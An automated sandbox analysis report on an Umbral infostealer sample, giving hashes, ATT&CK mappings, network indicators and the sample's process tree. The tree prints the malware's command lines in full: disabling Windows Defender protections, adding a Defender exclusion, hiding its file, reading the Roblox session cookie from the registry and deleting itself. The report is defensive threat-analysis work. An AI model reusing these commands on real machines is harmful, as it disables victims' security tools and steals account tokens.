umbral | 4baa876c24d03ddeb3484975bc7bcc90a498f26274d10a3ee499b5a1f8e5c749

Analysis

max time kernel
141s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
13-02-2024 18:27

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General

Target

test.exe
Size

229KB
MD5

4a1a7343912696cddb2f5e4fcb02a1c1
SHA1

a7ed28d7dce1e93b349c9709690f2f03fc01a379
SHA256

4baa876c24d03ddeb3484975bc7bcc90a498f26274d10a3ee499b5a1f8e5c749
SHA512

355ce587a28634e7ebfe86f754693a1f04feb463db3439549022ec4601c154be4d19057a81b22c3b69ce68bf86839aae0d3c8e4af6297dffe2d04fa430a35850
SSDEEP

6144:lloZM9rIkd8g+EtXHkv/iD45Pu6qoHjgv5sqb7ivrATb8e1mmi:noZOL+EP85Pu6qoHjgv5sqb7ivGE

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4856-0-0x0000028C9AE60000-0x0000028C9AEA0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	test.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	discord.com
31	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4132	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2400	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1472	powershell.exe
1472	powershell.exe
1820	powershell.exe
1820	powershell.exe
4956	powershell.exe
4956	powershell.exe
4932	powershell.exe
4932	powershell.exe
1704	powershell.exe
1704	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	test.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeIncreaseQuotaPrivilege	4500	wmic.exe
Token: SeSecurityPrivilege	4500	wmic.exe
Token: SeTakeOwnershipPrivilege	4500	wmic.exe
Token: SeLoadDriverPrivilege	4500	wmic.exe
Token: SeSystemProfilePrivilege	4500	wmic.exe
Token: SeSystemtimePrivilege	4500	wmic.exe
Token: SeProfSingleProcessPrivilege	4500	wmic.exe
Token: SeIncBasePriorityPrivilege	4500	wmic.exe
Token: SeCreatePagefilePrivilege	4500	wmic.exe
Token: SeBackupPrivilege	4500	wmic.exe
Token: SeRestorePrivilege	4500	wmic.exe
Token: SeShutdownPrivilege	4500	wmic.exe
Token: SeDebugPrivilege	4500	wmic.exe
Token: SeSystemEnvironmentPrivilege	4500	wmic.exe
Token: SeRemoteShutdownPrivilege	4500	wmic.exe
Token: SeUndockPrivilege	4500	wmic.exe
Token: SeManageVolumePrivilege	4500	wmic.exe
Token: 33	4500	wmic.exe
Token: 34	4500	wmic.exe
Token: 35	4500	wmic.exe
Token: 36	4500	wmic.exe
Token: SeIncreaseQuotaPrivilege	4500	wmic.exe
Token: SeSecurityPrivilege	4500	wmic.exe
Token: SeTakeOwnershipPrivilege	4500	wmic.exe
Token: SeLoadDriverPrivilege	4500	wmic.exe
Token: SeSystemProfilePrivilege	4500	wmic.exe
Token: SeSystemtimePrivilege	4500	wmic.exe
Token: SeProfSingleProcessPrivilege	4500	wmic.exe
Token: SeIncBasePriorityPrivilege	4500	wmic.exe
Token: SeCreatePagefilePrivilege	4500	wmic.exe
Token: SeBackupPrivilege	4500	wmic.exe
Token: SeRestorePrivilege	4500	wmic.exe
Token: SeShutdownPrivilege	4500	wmic.exe
Token: SeDebugPrivilege	4500	wmic.exe
Token: SeSystemEnvironmentPrivilege	4500	wmic.exe
Token: SeRemoteShutdownPrivilege	4500	wmic.exe
Token: SeUndockPrivilege	4500	wmic.exe
Token: SeManageVolumePrivilege	4500	wmic.exe
Token: 33	4500	wmic.exe
Token: 34	4500	wmic.exe
Token: 35	4500	wmic.exe
Token: 36	4500	wmic.exe
Token: SeIncreaseQuotaPrivilege	2168	wmic.exe
Token: SeSecurityPrivilege	2168	wmic.exe
Token: SeTakeOwnershipPrivilege	2168	wmic.exe
Token: SeLoadDriverPrivilege	2168	wmic.exe
Token: SeSystemProfilePrivilege	2168	wmic.exe
Token: SeSystemtimePrivilege	2168	wmic.exe
Token: SeProfSingleProcessPrivilege	2168	wmic.exe
Token: SeIncBasePriorityPrivilege	2168	wmic.exe
Token: SeCreatePagefilePrivilege	2168	wmic.exe
Token: SeBackupPrivilege	2168	wmic.exe
Token: SeRestorePrivilege	2168	wmic.exe
Token: SeShutdownPrivilege	2168	wmic.exe
Token: SeDebugPrivilege	2168	wmic.exe
Token: SeSystemEnvironmentPrivilege	2168	wmic.exe
Token: SeRemoteShutdownPrivilege	2168	wmic.exe
Token: SeUndockPrivilege	2168	wmic.exe
Token: SeManageVolumePrivilege	2168	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4856 wrote to memory of 3740	4856	test.exe	84
PID 4856 wrote to memory of 3740	4856	test.exe	84
PID 4856 wrote to memory of 1472	4856	test.exe	86
PID 4856 wrote to memory of 1472	4856	test.exe	86
PID 4856 wrote to memory of 1820	4856	test.exe	88
PID 4856 wrote to memory of 1820	4856	test.exe	88
PID 4856 wrote to memory of 4956	4856	test.exe	90
PID 4856 wrote to memory of 4956	4856	test.exe	90
PID 4856 wrote to memory of 4932	4856	test.exe	92
PID 4856 wrote to memory of 4932	4856	test.exe	92
PID 4856 wrote to memory of 4500	4856	test.exe	94
PID 4856 wrote to memory of 4500	4856	test.exe	94
PID 4856 wrote to memory of 2168	4856	test.exe	99
PID 4856 wrote to memory of 2168	4856	test.exe	99
PID 4856 wrote to memory of 3424	4856	test.exe	101
PID 4856 wrote to memory of 3424	4856	test.exe	101
PID 4856 wrote to memory of 1704	4856	test.exe	104
PID 4856 wrote to memory of 1704	4856	test.exe	104
PID 4856 wrote to memory of 4132	4856	test.exe	106
PID 4856 wrote to memory of 4132	4856	test.exe	106
PID 4856 wrote to memory of 1708	4856	test.exe	109
PID 4856 wrote to memory of 1708	4856	test.exe	109
PID 1708 wrote to memory of 2400	1708	cmd.exe	111
PID 1708 wrote to memory of 2400	1708	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3740	attrib.exe

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4856
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\test.exe"
  2⤵
  - Views/modifies file attributes
  PID:3740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\test.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4500
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1704
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4132
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\test.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a3870d8b2ce7ea7e013c1c8f1df60cfa

SHA1
afd24a7d2ce9789d3eb24e384013a88f476bd1d5

SHA256
d4ba5b6562063d637bf8ad5c1a505a71dac84742bc0d50e657c9f0bacb5de457

SHA512
6d4c836966d2a8d0c0d54b23496339afe89dd66892e75a6b405523424be4ac562d0b8f4513143734d939c719ff9fb94785665c7ca9614c216a130a0300ed9697

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2979eabc783eaca50de7be23dd4eafcf

SHA1
d709ce5f3a06b7958a67e20870bfd95b83cad2ea

SHA256
006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903

SHA512
92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e0ec6bf376a6b15852bce768196c5ed0

SHA1
05fe4e592ebbb7e29f36b8d30a6a90ba29bd4f81

SHA256
2d4a39cbbd597a7cfff477817c3c7c541c14974c8d234b4c0de6d229e3a3ce97

SHA512
dc0c7d3d127c88affea9ae402d7358c079cfa7fc3ecb417085e31dc749da1406e72563bfbe42167fdad57e10aa0c6cca7a8ba06921b3a1212ad7ccee1a0f859b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x223tewf.oc0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1472-19-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/1472-11-0x000001BC32340000-0x000001BC32350000-memory.dmp

Filesize
64KB

Download
memory/1472-16-0x000001BC32340000-0x000001BC32350000-memory.dmp

Filesize
64KB

Download
memory/1472-10-0x000001BC32340000-0x000001BC32350000-memory.dmp

Filesize
64KB

Download
memory/1472-3-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/1472-6-0x000001BC4AA10000-0x000001BC4AA32000-memory.dmp

Filesize
136KB

Download
memory/1704-103-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/1704-96-0x0000019946290000-0x00000199462A0000-memory.dmp

Filesize
64KB

Download
memory/1704-90-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/1820-21-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/1820-22-0x000001D6E4450000-0x000001D6E4460000-memory.dmp

Filesize
64KB

Download
memory/1820-23-0x000001D6E4450000-0x000001D6E4460000-memory.dmp

Filesize
64KB

Download
memory/1820-35-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-43-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-86-0x0000028C9B490000-0x0000028C9B49A000-memory.dmp

Filesize
40KB

Download
memory/4856-108-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-0-0x0000028C9AE60000-0x0000028C9AEA0000-memory.dmp

Filesize
256KB

Download
memory/4856-40-0x0000028C9B460000-0x0000028C9B47E000-memory.dmp

Filesize
120KB

Download
memory/4856-1-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-38-0x0000028CB5630000-0x0000028CB56A6000-memory.dmp

Filesize
472KB

Download
memory/4856-70-0x0000028CB53E0000-0x0000028CB53F0000-memory.dmp

Filesize
64KB

Download
memory/4856-2-0x0000028CB53E0000-0x0000028CB53F0000-memory.dmp

Filesize
64KB

Download
memory/4856-39-0x0000028CB5360000-0x0000028CB53B0000-memory.dmp

Filesize
320KB

Download
memory/4856-87-0x0000028CB5330000-0x0000028CB5342000-memory.dmp

Filesize
72KB

Download
memory/4932-81-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/4932-84-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/4932-82-0x00000263F4C20000-0x00000263F4C30000-memory.dmp

Filesize
64KB

Download
memory/4956-42-0x00000131E3CF0000-0x00000131E3D00000-memory.dmp

Filesize
64KB

Download
memory/4956-69-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-59-0x00000131E3CF0000-0x00000131E3D00000-memory.dmp

Filesize
64KB

Download
memory/4956-49-0x00000131E3CF0000-0x00000131E3D00000-memory.dmp

Filesize
64KB

Download
memory/4956-41-0x00007FF828C10000-0x00007FF8296D1000-memory.dmp

Filesize
10.8MB

Download